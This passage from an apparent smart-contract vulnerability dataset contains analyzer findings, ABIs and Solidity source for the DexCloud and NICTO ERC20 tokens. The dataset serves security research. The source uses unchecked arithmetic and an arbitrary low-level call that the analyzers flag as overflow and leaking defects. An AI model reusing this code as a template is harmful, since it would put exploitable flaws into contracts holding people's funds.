"external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [288, 289, 290, 291, 292, 293, 284, 285, 286, 287]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"VictorToken.sol": [162]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"VictorToken.sol": [163]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [742]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [359]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [564]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [286]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [272]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [34]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [360]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [157]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [197]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [668]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [8]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [285]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [24]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [42]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [526]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [526]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [245]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [34]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [371]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [246]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [470]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [394]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [428]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [272]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [766]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [305]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [492]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [197]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [718]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [8]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [327]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [644]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [564]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [624]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [666]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [416, 417, 418, 419, 420, 421, 422]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [42]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [383]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [328]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [349]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [393]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [692]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [740]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [348]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [91]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [694]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [764]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [361]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [716]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [247]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [690]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [594]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"VictorToken.sol": [24]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"VictorToken.sol": [654]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"VictorToken.sol": [634]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"VictorToken.sol": [450]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"VictorToken.sol": [808]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"VictorToken.sol": [163]}}]
[{"error": "Integer Overflow.", "line": 43, "level": "Warning"}, {"error": "Integer Overflow.", "line": 614, "level": "Warning"}, {"error": "Integer Overflow.", "line": 612, "level": "Warning"}, {"error": "Integer Overflow.", "line": 544, "level": "Warning"}, {"error": "Integer Overflow.", "line": 484, "level": "Warning"}, {"error": "Integer Overflow.", "line": 460, "level": "Warning"}, {"error": "Integer Overflow.", "line": 512, "level": "Warning"}, {"error": "Integer Overflow.", "line": 514, "level": "Warning"}, {"error": "Integer Overflow.", "line": 546, "level": "Warning"}, {"error": "Integer Overflow.", "line": 634, "level": "Warning"}, {"error": "Integer Overflow.", "line": 458, "level": "Warning"}, {"error": "Integer Overflow.", "line": 508, "level": "Warning"}, {"error": "Integer Overflow.", "line": 454, "level": "Warning"}, {"error": "Integer Overflow.", "line": 584, "level": "Warning"}, {"error": "Integer Overflow.", "line": 157, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 84, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 272, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 370, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 714, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 160, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 160, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 438, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 179, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 406, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 794, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 157, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"getReleaseTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_release_time","type":"uint256"}],"name":"setReleaseTime","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_value","type":"uint256"}],"name":"decreaseLockBalance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"getFreeBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"}],"name":"clearLock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"}],"name":"clearReleaseTime","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"getLockedBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokens","type":"address[]"}],"name":"destroy","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_value","type":"uint256"}],"name":"increaseLockBalance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"lock_period","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"old_release_time","type":"uint256"},{"indexed":false,"name":"new_release_time","type":"uint256"}],"name":"LockTimeSetted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"locked_balance_change","type":"uint256"},{"indexed":false,"name":"total_locked_balance","type":"uint256"},{"indexed":false,"name":"release_time","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.4.24+commit.e67f0147
true
200
Default
false
bzzr://d3d3175a94356ceaf357815a01bd8f3e7191efe9d74c6851cf4d098720c924d9
DexCloud
0xbbf6e33c93f1725daac01993e74be1a765b4c150
Solidity
pragma solidity ^0.4.25; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract DexCloud is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; uint8 public decimals; string public symbol; string public version = 'DXCD1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function DexCloud() { balances[msg.sender] = 100000000000000000000000000; totalSupply = 100000000000000000000000000; name = "DexCloud"; decimals = 18; symbol = "DXCD"; unitsOneEthCanBuy = 0; //1% bonus= OneEth// fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["122"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["80", "96"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["113", "46", "47", "56", "57", "58", "118", "117", "114"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [96]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [131]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [131]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [6]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [128, 129, 130, 131, 132, 133, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DexCloud.sol": [10]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [131]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [68]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [68]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [64]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DexCloud.sol": [126]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DexCloud.sol": [103]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DexCloud.sol": [104]}}]
[{"error": "Integer Underflow.", "line": 93, "level": "Warning"}, {"error": "Integer Underflow.", "line": 96, "level": "Warning"}, {"error": "Integer Underflow.", "line": 95, "level": "Warning"}, {"error": "Integer Overflow.", "line": 56, "level": "Warning"}, {"error": "Integer Overflow.", "line": 126, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 131, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 131, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 64, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 74, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 68, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 6, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 10, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 16, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 23, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 29, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 83, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 131, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 131, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 53, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 64, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 68, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 78, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 79, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fundsWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"unitsOneEthCanBuy","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalEthInWei","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.25+commit.59dbf8f1
true
200
Default
None
false
bzzr://d07f06068c0fd06c74cf39aa7d468c2e305271f52697a4acc9825a82fbe9a55a
NICTO
0x7aa7b6c6b278bfae5e4e1a2bd5c83ccfa9a579c4
Solidity
/* This is the NICTO Ethereum smart contract NICTO Implements the EIP20 token standard: https://github.com/ethereum/EIPs/issues/20 The smart contract code can be viewed here: https://github.com/nictobit/NICTO-ERC20.git For more info about NICTO and the ecosystem, visit https://nictobit.com .*/ pragma solidity ^0.4.8; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract NICTO is EIP20Interface { uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function NICTO( ) public { totalSupply = 21*10**9*10**8; //NICTO total Supply balances[msg.sender] = totalSupply; //Allocate NICTO to contract deployer name = "Nictobit"; decimals = 8; //Amount of decimals for display purposes symbol = "NICTO"; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } function 